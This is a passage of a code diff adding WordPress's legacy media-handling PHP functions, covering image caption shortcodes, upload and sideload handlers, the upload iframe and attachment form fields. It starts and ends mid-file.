+		$html = '<a href="' . esc_attr( $url ) . '"' . $rel . '>' . $html . '</a>';
+
+	/**
+	 * Filters the image HTML markup to send to the editor when inserting an image.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string       $html    The image HTML markup to send.
+	 * @param int          $id      The attachment id.
+	 * @param string       $caption The image caption.
+	 * @param string       $title   The image title.
+	 * @param string       $align   The image alignment.
+	 * @param string       $url     The image source URL.
+	 * @param string|array $size    Size of image. Image size or array of width and height values
+	 *                              (in that order). Default 'medium'.
+	 * @param string       $alt     The image alternative, or alt, text.
+	 */
+	$html = apply_filters( 'image_send_to_editor', $html, $id, $caption, $title, $align, $url, $size, $alt );
+
+	return $html;
+}
+
+/**
+ * Adds image shortcode with caption to editor
+ *
+ * @since 2.6.0
+ *
+ * @param string $html
+ * @param integer $id
+ * @param string $caption image caption
+ * @param string $title image title attribute
+ * @param string $align image css alignment property
+ * @param string $url image src url
+ * @param string $size image size (thumbnail, medium, large, full or added with add_image_size() )
+ * @param string $alt image alt attribute
+ * @return string
+ */
+function image_add_caption( $html, $id, $caption, $title, $align, $url, $size, $alt = '' ) {
+
+	/**
+	 * Filters the caption text.
+	 *
+	 * Note: If the caption text is empty, the caption shortcode will not be appended
+	 * to the image HTML when inserted into the editor.
+	 *
+	 * Passing an empty value also prevents the {@see 'image_add_caption_shortcode'}
+	 * Filters from being evaluated at the end of image_add_caption().
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string $caption The original caption text.
+	 * @param int    $id      The attachment ID.
+	 */
+	$caption = apply_filters( 'image_add_caption_text', $caption, $id );
+
+	/**
+	 * Filters whether to disable captions.
+	 *
+	 * Prevents image captions from being appended to image HTML when inserted into the editor.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param bool $bool Whether to disable appending captions. Returning true to the filter
+	 *                   will disable captions. Default empty string.
+	 */
+	if ( empty($caption) || apply_filters( 'disable_captions', '' ) )
+		return $html;
+
+	$id = ( 0 < (int) $id ) ? 'attachment_' . $id : '';
+
+	if ( ! preg_match( '/width=["\']([0-9]+)/', $html, $matches ) )
+		return $html;
+
+	$width = $matches[1];
+
+	$caption = str_replace( array("\r\n", "\r"), "\n", $caption);
+	$caption = preg_replace_callback( '/<[a-zA-Z0-9]+(?: [^<>]+>)*/', '_cleanup_image_add_caption', $caption );
+
+	// Convert any remaining line breaks to <br>.
+	$caption = preg_replace( '/[ \n\t]*\n[ \t]*/', '<br />', $caption );
+
+	$html = preg_replace( '/(class=["\'][^\'"]*)align(none|left|right|center)\s?/', '$1', $html );
+	if ( empty($align) )
+		$align = 'none';
+
+	$shcode = '[caption id="' . $id . '" align="align' . $align	. '" width="' . $width . '"]' . $html . ' ' . $caption . '[/caption]';
+
+	/**
+	 * Filters the image HTML markup including the caption shortcode.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $shcode The image HTML markup with caption shortcode.
+	 * @param string $html   The image HTML markup.
+	 */
+	return apply_filters( 'image_add_caption_shortcode', $shcode, $html );
+}
+
+/**
+ * Private preg_replace callback used in image_add_caption()
+ *
+ * @access private
+ * @since 3.4.0
+ */
+function _cleanup_image_add_caption( $matches ) {
+	// Remove any line breaks from inside the tags.
+	return preg_replace( '/[\r\n\t]+/', ' ', $matches[0] );
+}
+
+/**
+ * Adds image html to editor
+ *
+ * @since 2.5.0
+ *
+ * @param string $html
+ */
+function media_send_to_editor($html) {
+?>
+<script type="text/javascript">
+var win = window.dialogArguments || opener || parent || top;
+win.send_to_editor( <?php echo wp_json_encode( $html ); ?> );
+</script>
+<?php
+	exit;
+}
+
+/**
+ * Save a file submitted from a POST request and create an attachment post for it.
+ *
+ * @since 2.5.0
+ *
+ * @param string $file_id   Index of the `$_FILES` array that the file was sent. Required.
+ * @param int    $post_id   The post ID of a post to attach the media item to. Required, but can
+ *                          be set to 0, creating a media item that has no relationship to a post.
+ * @param array  $post_data Overwrite some of the attachment. Optional.
+ * @param array  $overrides Override the wp_handle_upload() behavior. Optional.
+ * @return int|WP_Error ID of the attachment or a WP_Error object on failure.
+ */
+function media_handle_upload($file_id, $post_id, $post_data = array(), $overrides = array( 'test_form' => false )) {
+
+	$time = current_time('mysql');
+	if ( $post = get_post($post_id) ) {
+		// The post date doesn't usually matter for pages, so don't backdate this upload.
+		if ( 'page' !== $post->post_type && substr( $post->post_date, 0, 4 ) > 0 )
+			$time = $post->post_date;
+	}
+
+	$file = wp_handle_upload($_FILES[$file_id], $overrides, $time);
+
+	if ( isset($file['error']) )
+		return new WP_Error( 'upload_error', $file['error'] );
+
+	$name = $_FILES[$file_id]['name'];
+	$ext  = pathinfo( $name, PATHINFO_EXTENSION );
+	$name = wp_basename( $name, ".$ext" );
+
+	$url = $file['url'];
+	$type = $file['type'];
+	$file = $file['file'];
+	$title = sanitize_text_field( $name );
+	$content = '';
+	$excerpt = '';
+
+	if ( preg_match( '#^audio#', $type ) ) {
+		$meta = wp_read_audio_metadata( $file );
+
+		if ( ! empty( $meta['title'] ) ) {
+			$title = $meta['title'];
+		}
+
+		if ( ! empty( $title ) ) {
+
+			if ( ! empty( $meta['album'] ) && ! empty( $meta['artist'] ) ) {
+				/* translators: 1: audio track title, 2: album title, 3: artist name */
+				$content .= sprintf( __( '"%1$s" from %2$s by %3$s.' ), $title, $meta['album'], $meta['artist'] );
+			} elseif ( ! empty( $meta['album'] ) ) {
+				/* translators: 1: audio track title, 2: album title */
+				$content .= sprintf( __( '"%1$s" from %2$s.' ), $title, $meta['album'] );
+			} elseif ( ! empty( $meta['artist'] ) ) {
+				/* translators: 1: audio track title, 2: artist name */
+				$content .= sprintf( __( '"%1$s" by %2$s.' ), $title, $meta['artist'] );
+			} else {
+				/* translators: 1: audio track title */
+				$content .= sprintf( __( '"%s".' ), $title );
+			}
+
+		} elseif ( ! empty( $meta['album'] ) ) {
+
+			if ( ! empty( $meta['artist'] ) ) {
+				/* translators: 1: audio album title, 2: artist name */
+				$content .= sprintf( __( '%1$s by %2$s.' ), $meta['album'], $meta['artist'] );
+			} else {
+				$content .= $meta['album'] . '.';
+			}
+
+		} elseif ( ! empty( $meta['artist'] ) ) {
+
+			$content .= $meta['artist'] . '.';
+
+		}
+
+		if ( ! empty( $meta['year'] ) ) {
+			/* translators: Audio file track information. 1: Year of audio track release */
+			$content .= ' ' . sprintf( __( 'Released: %d.' ), $meta['year'] );
+		}
+
+		if ( ! empty( $meta['track_number'] ) ) {
+			$track_number = explode( '/', $meta['track_number'] );
+			if ( isset( $track_number[1] ) ) {
+				/* translators: Audio file track information. 1: Audio track number, 2: Total audio tracks */
+				$content .= ' ' . sprintf( __( 'Track %1$s of %2$s.' ), number_format_i18n( $track_number[0] ), number_format_i18n( $track_number[1] ) );
+			} else {
+				/* translators: Audio file track information. 1: Audio track number */
+				$content .= ' ' . sprintf( __( 'Track %1$s.' ), number_format_i18n( $track_number[0] ) );
+			}
+		}
+
+		if ( ! empty( $meta['genre'] ) ) {
+			/* translators: Audio file genre information. 1: Audio genre name */
+			$content .= ' ' . sprintf( __( 'Genre: %s.' ), $meta['genre'] );
+		}
+
+	// Use image exif/iptc data for title and caption defaults if possible.
+	} elseif ( 0 === strpos( $type, 'image/' ) && $image_meta = wp_read_image_metadata( $file ) ) {
+		if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
+			$title = $image_meta['title'];
+		}
+
+		if ( trim( $image_meta['caption'] ) ) {
+			$excerpt = $image_meta['caption'];
+		}
+	}
+
+	// Construct the attachment array
+	$attachment = array_merge( array(
+		'post_mime_type' => $type,
+		'guid' => $url,
+		'post_parent' => $post_id,
+		'post_title' => $title,
+		'post_content' => $content,
+		'post_excerpt' => $excerpt,
+	), $post_data );
+
+	// This should never be set as it would then overwrite an existing attachment.
+	unset( $attachment['ID'] );
+
+	// Save the data
+	$id = wp_insert_attachment( $attachment, $file, $post_id, true );
+	if ( !is_wp_error($id) ) {
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
+	}
+
+	return $id;
+
+}
+
+/**
+ * Handles a side-loaded file in the same way as an uploaded file is handled by media_handle_upload().
+ *
+ * @since 2.6.0
+ *
+ * @param array  $file_array Array similar to a `$_FILES` upload array.
+ * @param int    $post_id    The post ID the media is associated with.
+ * @param string $desc       Optional. Description of the side-loaded file. Default null.
+ * @param array  $post_data  Optional. Post data to override. Default empty array.
+ * @return int|object The ID of the attachment or a WP_Error on failure.
+ */
+function media_handle_sideload( $file_array, $post_id, $desc = null, $post_data = array() ) {
+	$overrides = array('test_form'=>false);
+
+	$time = current_time( 'mysql' );
+	if ( $post = get_post( $post_id ) ) {
+		if ( substr( $post->post_date, 0, 4 ) > 0 )
+			$time = $post->post_date;
+	}
+
+	$file = wp_handle_sideload( $file_array, $overrides, $time );
+	if ( isset($file['error']) )
+		return new WP_Error( 'upload_error', $file['error'] );
+
+	$url = $file['url'];
+	$type = $file['type'];
+	$file = $file['file'];
+	$title = preg_replace('/\.[^.]+$/', '', basename($file));
+	$content = '';
+
+	// Use image exif/iptc data for title and caption defaults if possible.
+	if ( $image_meta = wp_read_image_metadata( $file ) ) {
+		if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) )
+			$title = $image_meta['title'];
+		if ( trim( $image_meta['caption'] ) )
+			$content = $image_meta['caption'];
+	}
+
+	if ( isset( $desc ) )
+		$title = $desc;
+
+	// Construct the attachment array.
+	$attachment = array_merge( array(
+		'post_mime_type' => $type,
+		'guid' => $url,
+		'post_parent' => $post_id,
+		'post_title' => $title,
+		'post_content' => $content,
+	), $post_data );
+
+	// This should never be set as it would then overwrite an existing attachment.
+	unset( $attachment['ID'] );
+
+	// Save the attachment metadata
+	$id = wp_insert_attachment($attachment, $file, $post_id);
+	if ( !is_wp_error($id) )
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
+
+	return $id;
+}
+
+/**
+ * Adds the iframe to display content for the media upload page
+ *
+ * @since 2.5.0
+ *
+ * @global int $body_id
+ *
+ * @param string|callable $content_func
+ */
+function wp_iframe($content_func /* ... */) {
+	_wp_admin_html_begin();
+?>
+<title><?php bloginfo('name') ?> &rsaquo; <?php _e('Uploads'); ?> &#8212; <?php _e('WordPress'); ?></title>
+<?php
+
+wp_enqueue_style( 'colors' );
+// Check callback name for 'media'
+if ( ( is_array( $content_func ) && ! empty( $content_func[1] ) && 0 === strpos( (string) $content_func[1], 'media' ) )
+	|| ( ! is_array( $content_func ) && 0 === strpos( $content_func, 'media' ) ) )
+	wp_enqueue_style( 'deprecated-media' );
+wp_enqueue_style( 'ie' );
+?>
+<script type="text/javascript">
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>', pagenow = 'media-upload-popup', adminpage = 'media-upload-popup',
+isRtl = <?php echo (int) is_rtl(); ?>;
+</script>
+<?php
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_enqueue_scripts', 'media-upload-popup' );
+
+	/**
+	 * Fires when admin styles enqueued for the legacy (pre-3.5.0) media upload popup are printed.
+	 *
+	 * @since 2.9.0
+	 */
+	do_action( 'admin_print_styles-media-upload-popup' );
+
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_print_styles' );
+
+	/**
+	 * Fires when admin scripts enqueued for the legacy (pre-3.5.0) media upload popup are printed.
+	 *
+	 * @since 2.9.0
+	 */
+	do_action( 'admin_print_scripts-media-upload-popup' );
+
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_print_scripts' );
+
+	/**
+	 * Fires when scripts enqueued for the admin header for the legacy (pre-3.5.0)
+	 * media upload popup are printed.
+	 *
+	 * @since 2.9.0
+	 */
+	do_action( 'admin_head-media-upload-popup' );
+
+	/** This action is documented in wp-admin/admin-header.php */
+	do_action( 'admin_head' );
+
+if ( is_string( $content_func ) ) {
+	/**
+	 * Fires in the admin header for each specific form tab in the legacy
+	 * (pre-3.5.0) media upload popup.
+	 *
+	 * The dynamic portion of the hook, `$content_func`, refers to the form
+	 * callback for the media upload type. Possible values include
+	 * 'media_upload_type_form', 'media_upload_type_url_form', and
+	 * 'media_upload_library_form'.
+	 *
+	 * @since 2.5.0
+	 */
+	do_action( "admin_head_{$content_func}" );
+}
+?>
+</head>
+<body<?php if ( isset($GLOBALS['body_id']) ) echo ' id="' . $GLOBALS['body_id'] . '"'; ?> class="wp-core-ui no-js">
+<script type="text/javascript">
+document.body.className = document.body.className.replace('no-js', 'js');
+</script>
+<?php
+	$args = func_get_args();
+	$args = array_slice($args, 1);
+	call_user_func_array($content_func, $args);
+
+	/** This action is documented in wp-admin/admin-footer.php */
+	do_action( 'admin_print_footer_scripts' );
+?>
+<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
+</body>
+</html>
+<?php
+}
+
+/**
+ * Adds the media button to the editor
+ *
+ * @since 2.5.0
+ *
+ * @global int $post_ID
+ *
+ * @staticvar int $instance
+ *
+ * @param string $editor_id
+ */
+function media_buttons($editor_id = 'content') {
+	static $instance = 0;
+	$instance++;
+
+	$post = get_post();
+	if ( ! $post && ! empty( $GLOBALS['post_ID'] ) )
+		$post = $GLOBALS['post_ID'];
+
+	wp_enqueue_media( array(
+		'post' => $post
+	) );
+
+	$img = '<span class="wp-media-buttons-icon"></span> ';
+
+	$id_attribute = $instance === 1 ? ' id="insert-media-button"' : '';
+	printf( '<button type="button"%s class="button insert-media add_media" data-editor="%s">%s</button>',
+		$id_attribute,
+		esc_attr( $editor_id ),
+		$img . __( 'Add Media' )
+	);
+	/**
+	 * Filters the legacy (pre-3.5.0) media buttons.
+	 *
+	 * Use {@see 'media_buttons'} action instead.
+	 *
+	 * @since 2.5.0
+	 * @deprecated 3.5.0 Use {@see 'media_buttons'} action instead.
+	 *
+	 * @param string $string Media buttons context. Default empty.
+	 */
+	$legacy_filter = apply_filters( 'media_buttons_context', '' );
+
+	if ( $legacy_filter ) {
+		// #WP22559. Close <a> if a plugin started by closing <a> to open their own <a> tag.
+		if ( 0 === stripos( trim( $legacy_filter ), '</a>' ) )
+			$legacy_filter .= '</a>';
+		echo $legacy_filter;
+	}
+}
+
+/**
+ *
+ * @global int $post_ID
+ * @param string $type
+ * @param int $post_id
+ * @param string $tab
+ * @return string
+ */
+function get_upload_iframe_src( $type = null, $post_id = null, $tab = null ) {
+	global $post_ID;
+
+	if ( empty( $post_id ) )
+		$post_id = $post_ID;
+
+	$upload_iframe_src = add_query_arg( 'post_id', (int) $post_id, admin_url('media-upload.php') );
+
+	if ( $type && 'media' != $type )
+		$upload_iframe_src = add_query_arg('type', $type, $upload_iframe_src);
+
+	if ( ! empty( $tab ) )
+		$upload_iframe_src = add_query_arg('tab', $tab, $upload_iframe_src);
+
+	/**
+	 * Filters the upload iframe source URL for a specific media type.
+	 *
+	 * The dynamic portion of the hook name, `$type`, refers to the type
+	 * of media uploaded.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $upload_iframe_src The upload iframe source URL by type.
+	 */
+	$upload_iframe_src = apply_filters( "{$type}_upload_iframe_src", $upload_iframe_src );
+
+	return add_query_arg('TB_iframe', true, $upload_iframe_src);
+}
+
+/**
+ * Handles form submissions for the legacy media uploader.
+ *
+ * @since 2.5.0
+ *
+ * @return mixed void|object WP_Error on failure
+ */
+function media_upload_form_handler() {
+	check_admin_referer('media-form');
+
+	$errors = null;
+
+	if ( isset($_POST['send']) ) {
+		$keys = array_keys( $_POST['send'] );
+		$send_id = (int) reset( $keys );
+	}
+
+	if ( !empty($_POST['attachments']) ) foreach ( $_POST['attachments'] as $attachment_id => $attachment ) {
+		$post = $_post = get_post($attachment_id, ARRAY_A);
+
+		if ( !current_user_can( 'edit_post', $attachment_id ) )
+			continue;
+
+		if ( isset($attachment['post_content']) )
+			$post['post_content'] = $attachment['post_content'];
+		if ( isset($attachment['post_title']) )
+			$post['post_title'] = $attachment['post_title'];
+		if ( isset($attachment['post_excerpt']) )
+			$post['post_excerpt'] = $attachment['post_excerpt'];
+		if ( isset($attachment['menu_order']) )
+			$post['menu_order'] = $attachment['menu_order'];
+
+		if ( isset($send_id) && $attachment_id == $send_id ) {
+			if ( isset($attachment['post_parent']) )
+				$post['post_parent'] = $attachment['post_parent'];
+		}
+
+		/**
+		 * Filters the attachment fields to be saved.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @see wp_get_attachment_metadata()
+		 *
+		 * @param array $post       An array of post data.
+		 * @param array $attachment An array of attachment metadata.
+		 */
+		$post = apply_filters( 'attachment_fields_to_save', $post, $attachment );
+
+		if ( isset($attachment['image_alt']) ) {
+			$image_alt = wp_unslash( $attachment['image_alt'] );
+			if ( $image_alt != get_post_meta($attachment_id, '_wp_attachment_image_alt', true) ) {
+				$image_alt = wp_strip_all_tags( $image_alt, true );
+
+				// Update_meta expects slashed.
+				update_post_meta( $attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
+			}
+		}
+
+		if ( isset($post['errors']) ) {
+			$errors[$attachment_id] = $post['errors'];
+			unset($post['errors']);
+		}
+
+		if ( $post != $_post )
+			wp_update_post($post);
+
+		foreach ( get_attachment_taxonomies($post) as $t ) {
+			if ( isset($attachment[$t]) )
+				wp_set_object_terms($attachment_id, array_map('trim', preg_split('/,+/', $attachment[$t])), $t, false);
+		}
+	}
+
+	if ( isset($_POST['insert-gallery']) || isset($_POST['update-gallery']) ) { ?>
+		<script type="text/javascript">
+		var win = window.dialogArguments || opener || parent || top;
+		win.tb_remove();
+		</script>
+		<?php
+		exit;
+	}
+
+	if ( isset($send_id) ) {
+		$attachment = wp_unslash( $_POST['attachments'][$send_id] );
+
+		$html = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';
+		if ( !empty($attachment['url']) ) {
+			$rel = '';
+			if ( strpos($attachment['url'], 'attachment_id') || get_attachment_link($send_id) == $attachment['url'] )
+				$rel = " rel='attachment wp-att-" . esc_attr($send_id) . "'";
+			$html = "<a href='{$attachment['url']}'$rel>$html</a>";
+		}
+
+		/**
+		 * Filters the HTML markup for a media item sent to the editor.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @see wp_get_attachment_metadata()
+		 *
+		 * @param string $html       HTML markup for a media item sent to the editor.
+		 * @param int    $send_id    The first key from the $_POST['send'] data.
+		 * @param array  $attachment Array of attachment metadata.
+		 */
+		$html = apply_filters( 'media_send_to_editor', $html, $send_id, $attachment );
+		return media_send_to_editor($html);
+	}
+
+	return $errors;
+}
+
+/**
+ * Handles the process of uploading media.
+ *
+ * @since 2.5.0
+ *
+ * @return null|string
+ */
+function wp_media_upload_handler() {
+	$errors = array();
+	$id = 0;
+
+	if ( isset($_POST['html-upload']) && !empty($_FILES) ) {
+		check_admin_referer('media-form');
+		// Upload File button was clicked
+		$id = media_handle_upload('async-upload', $_REQUEST['post_id']);
+		unset($_FILES);
+		if ( is_wp_error($id) ) {
+			$errors['upload_error'] = $id;
+			$id = false;
+		}
+	}
+
+	if ( !empty($_POST['insertonlybutton']) ) {
+		$src = $_POST['src'];
+		if ( !empty($src) && !strpos($src, '://') )
+			$src = "http://$src";
+
+		if ( isset( $_POST['media_type'] ) && 'image' != $_POST['media_type'] ) {
+			$title = esc_html( wp_unslash( $_POST['title'] ) );
+			if ( empty( $title ) )
+				$title = esc_html( basename( $src ) );
+
+			if ( $title && $src )
+				$html = "<a href='" . esc_url($src) . "'>$title</a>";
+
+			$type = 'file';
+			if ( ( $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src ) ) && ( $ext_type = wp_ext2type( $ext ) )
+				&& ( 'audio' == $ext_type || 'video' == $ext_type ) )
+					$type = $ext_type;
+
+			/**
+			 * Filters the URL sent to the editor for a specific media type.
+			 *
+			 * The dynamic portion of the hook name, `$type`, refers to the type
+			 * of media being sent.
+			 *
+			 * @since 3.3.0
+			 *
+			 * @param string $html  HTML markup sent to the editor.
+			 * @param string $src   Media source URL.
+			 * @param string $title Media title.
+			 */
+			$html = apply_filters( "{$type}_send_to_editor_url", $html, esc_url_raw( $src ), $title );
+		} else {
+			$align = '';
+			$alt = esc_attr( wp_unslash( $_POST['alt'] ) );
+			if ( isset($_POST['align']) ) {
+				$align = esc_attr( wp_unslash( $_POST['align'] ) );
+				$class = " class='align$align'";
+			}
+			if ( !empty($src) )
+				$html = "<img src='" . esc_url($src) . "' alt='$alt'$class />";
+
+			/**
+			 * Filters the image URL sent to the editor.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param string $html  HTML markup sent to the editor for an image.
+			 * @param string $src   Image source URL.
+			 * @param string $alt   Image alternate, or alt, text.
+			 * @param string $align The image alignment. Default 'alignnone'. Possible values include
+			 *                      'alignleft', 'aligncenter', 'alignright', 'alignnone'.
+			 */
+			$html = apply_filters( 'image_send_to_editor_url', $html, esc_url_raw( $src ), $alt, $align );
+		}
+
+		return media_send_to_editor($html);
+	}
+
+	if ( isset( $_POST['save'] ) ) {
+		$errors['upload_notice'] = __('Saved.');
+		wp_enqueue_script( 'admin-gallery' );
+ 		return wp_iframe( 'media_upload_gallery_form', $errors );
+
+	} elseif ( ! empty( $_POST ) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' ) {
+		$type = 'image';
+		if ( isset( $_GET['type'] ) && in_array( $_GET['type'], array( 'video', 'audio', 'file' ) ) )
+			$type = $_GET['type'];
+		return wp_iframe( 'media_upload_type_url_form', $type, $errors, $id );
+	}
+
+	return wp_iframe( 'media_upload_type_form', 'image', $errors, $id );
+}
+
+/**
+ * Downloads an image from the specified URL and attaches it to a post.
+ *
+ * @since 2.6.0
+ * @since 4.2.0 Introduced the `$return` parameter.
+ * @since 4.8.0 Introduced the 'id' option within the `$return` parameter.
+ *
+ * @param string $file    The URL of the image to download.
+ * @param int    $post_id The post ID the media is to be associated with.
+ * @param string $desc    Optional. Description of the image.
+ * @param string $return  Optional. Accepts 'html' (image tag html) or 'src' (URL), or 'id' (attachment ID). Default 'html'.
+ * @return string|WP_Error Populated HTML img tag on success, WP_Error object otherwise.
+ */
+function media_sideload_image( $file, $post_id, $desc = null, $return = 'html' ) {
+	if ( ! empty( $file ) ) {
+
+		// Set variables for storage, fix file filename for query strings.
+		preg_match( '/[^\?]+\.(jpe?g|jpe|gif|png)\b/i', $file, $matches );
+		if ( ! $matches ) {
+			return new WP_Error( 'image_sideload_failed', __( 'Invalid image URL' ) );
+		}
+
+		$file_array = array();
+		$file_array['name'] = basename( $matches[0] );
+
+		// Download file to temp location.
+		$file_array['tmp_name'] = download_url( $file );
+
+		// If error storing temporarily, return the error.
+		if ( is_wp_error( $file_array['tmp_name'] ) ) {
+			return $file_array['tmp_name'];
+		}
+
+		// Do the validation and storage stuff.
+		$id = media_handle_sideload( $file_array, $post_id, $desc );
+
+		// If error storing permanently, unlink.
+		if ( is_wp_error( $id ) ) {
+			@unlink( $file_array['tmp_name'] );
+			return $id;
+		// If attachment id was requested, return it early.
+		} elseif ( $return === 'id' ) {
+			return $id;
+		}
+
+		$src = wp_get_attachment_url( $id );
+	}
+
+	// Finally, check to make sure the file has been saved, then return the HTML.
+	if ( ! empty( $src ) ) {
+		if ( $return === 'src' ) {
+			return $src;
+		}
+
+		$alt = isset( $desc ) ? esc_attr( $desc ) : '';
+		$html = "<img src='$src' alt='$alt' />";
+		return $html;
+	} else {
+		return new WP_Error( 'image_sideload_failed' );
+	}
+}
+
+/**
+ * Retrieves the legacy media uploader form in an iframe.
+ *
+ * @since 2.5.0
+ *
+ * @return string|null
+ */
+function media_upload_gallery() {
+	$errors = array();
+
+	if ( !empty($_POST) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	wp_enqueue_script('admin-gallery');
+	return wp_iframe( 'media_upload_gallery_form', $errors );
+}
+
+/**
+ * Retrieves the legacy media library form in an iframe.
+ *
+ * @since 2.5.0
+ *
+ * @return string|null
+ */
+function media_upload_library() {
+	$errors = array();
+	if ( !empty($_POST) ) {
+		$return = media_upload_form_handler();
+
+		if ( is_string($return) )
+			return $return;
+		if ( is_array($return) )
+			$errors = $return;
+	}
+
+	return wp_iframe( 'media_upload_library_form', $errors );
+}
+
+/**
+ * Retrieve HTML for the image alignment radio buttons with the specified one checked.
+ *
+ * @since 2.7.0
+ *
+ * @param WP_Post $post
+ * @param string $checked
+ * @return string
+ */
+function image_align_input_fields( $post, $checked = '' ) {
+
+	if ( empty($checked) )
+		$checked = get_user_setting('align', 'none');
+
+	$alignments = array('none' => __('None'), 'left' => __('Left'), 'center' => __('Center'), 'right' => __('Right'));
+	if ( !array_key_exists( (string) $checked, $alignments ) )
+		$checked = 'none';
+
+	$out = array();
+	foreach ( $alignments as $name => $label ) {
+		$name = esc_attr($name);
+		$out[] = "<input type='radio' name='attachments[{$post->ID}][align]' id='image-align-{$name}-{$post->ID}' value='$name'".
+			( $checked == $name ? " checked='checked'" : "" ) .
+			" /><label for='image-align-{$name}-{$post->ID}' class='align image-align-{$name}-label'>$label</label>";
+	}
+	return join("\n", $out);
+}
+
+/**
+ * Retrieve HTML for the size radio buttons with the specified one checked.
+ *
+ * @since 2.7.0
+ *
+ * @param WP_Post $post
+ * @param bool|string $check
+ * @return array
+ */
+function image_size_input_fields( $post, $check = '' ) {
+	/**
+	 * Filters the names and labels of the default image sizes.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $size_names Array of image sizes and their names. Default values
+	 *                          include 'Thumbnail', 'Medium', 'Large', 'Full Size'.
+	 */
+	$size_names = apply_filters( 'image_size_names_choose', array(
+		'thumbnail' => __( 'Thumbnail' ),
+		'medium'    => __( 'Medium' ),
+		'large'     => __( 'Large' ),
+		'full'      => __( 'Full Size' )
+	) );
+
+	if ( empty( $check ) ) {
+		$check = get_user_setting('imgsize', 'medium');
+	}
+	$out = array();
+
+	foreach ( $size_names as $size => $label ) {
+		$downsize = image_downsize( $post->ID, $size );
+		$checked = '';
+
+		// Is this size selectable?
+		$enabled = ( $downsize[3] || 'full' == $size );
+		$css_id = "image-size-{$size}-{$post->ID}";
+
+		// If this size is the default but that's not available, don't select it.
+		if ( $size == $check ) {
+			if ( $enabled ) {
+				$checked = " checked='checked'";
+			} else {
+				$check = '';
+			}
+		} elseif ( ! $check && $enabled && 'thumbnail' != $size ) {
+			/*
+			 * If $check is not enabled, default to the first available size
+			 * that's bigger than a thumbnail.
+			 */
+			$check = $size;
+			$checked = " checked='checked'";
+		}
+
+		$html = "<div class='image-size-item'><input type='radio' " . disabled( $enabled, false, false ) . "name='attachments[$post->ID][image-size]' id='{$css_id}' value='{$size}'$checked />";
+
+		$html .= "<label for='{$css_id}'>$label</label>";
+
+		// Only show the dimensions if that choice is available.
+		if ( $enabled ) {
+			$html .= " <label for='{$css_id}' class='help'>" . sprintf( "(%d&nbsp;&times;&nbsp;%d)", $downsize[1], $downsize[2] ). "</label>";
+		}
+		$html .= '</div>';
+
+		$out[] = $html;
+	}
+
+	return array(
+		'label' => __( 'Size' ),
+		'input' => 'html',
+		'html'  => join( "\n", $out ),
+	);
+}
+
+/**
+ * Retrieve HTML for the Link URL buttons with the default link type as specified.
+ *
+ * @since 2.7.0
+ *
+ * @param WP_Post $post
+ * @param string $url_type
+ * @return string
+ */
+function image_link_input_fields($post, $url_type = '') {
+
+	$file = wp_get_attachment_url($post->ID);
+	$link = get_attachment_link($post->ID);
+
+	if ( empty($url_type) )
+		$url_type = get_user_setting('urlbutton', 'post');
+
+	$url = '';
+	if ( $url_type == 'file' )
+		$url = $file;
+	elseif ( $url_type == 'post' )
+		$url = $link;
+
+	return "
+	<input type='text' class='text urlfield' name='attachments[$post->ID][url]' value='" . esc_attr($url) . "' /><br />
+	<button type='button' class='button urlnone' data-link-url=''>" . __('None') . "</button>
+	<button type='button' class='button urlfile' data-link-url='" . esc_attr($file) . "'>" . __('File URL') . "</button>
+	<button type='button' class='button urlpost' data-link-url='" . esc_attr($link) . "'>" . __('Attachment Post URL') . "</button>
+";
+}
+
+/**
+ * Output a textarea element for inputting an attachment caption.
+ *
+ * @since 3.4.0
+ *
+ * @param WP_Post $edit_post Attachment WP_Post object.
+ * @return string HTML markup for the textarea element.
+ */
+function wp_caption_input_textarea($edit_post) {
+	// Post data is already escaped.
+	$name = "attachments[{$edit_post->ID}][post_excerpt]";
+
+	return '<textarea name="' . $name . '" id="' . $name . '">' . $edit_post->post_excerpt . '</textarea>';
+}
+
+/**
+ * Retrieves the image attachment fields to edit form fields.
+ *
+ * @since 2.5.0
+ *
+ * @param array $form_fields
+ * @param object $post
+ * @return array
+ */
+function image_attachment_fields_to_edit($form_fields, $post) {
+	return $form_fields;
+}
+
+/**
+ * Retrieves the single non-image attachment fields to edit form fields.
+ *
+ * @since 2.5.0
+ *
+ * @param array   $form_fields An array of attachment form fields.
+ * @param WP_Post $post        The WP_Post attachment object.
+ * @return array Filtered attachment form fields.
+ */
+function media_single_attachment_fields_to_edit( $form_fields, $post ) {
+	unset($form_fields['url'], $form_fields['align'], $form_fields['image-size']);
+	return $form_fields;
+}
+
+/**
+ * Retrieves the post non-image attachment fields to edito form fields.
+ *
+ * @since 2.8.0
+ *
+ * @param array   $form_fields An array of attachment form fields.
+ * @param WP_Post $post        The WP_Post attachment object.
+ * @return array Filtered attachment form fields.
+ */
+function media_post_single_attachment_fields_to_edit( $form_fields, $post ) {
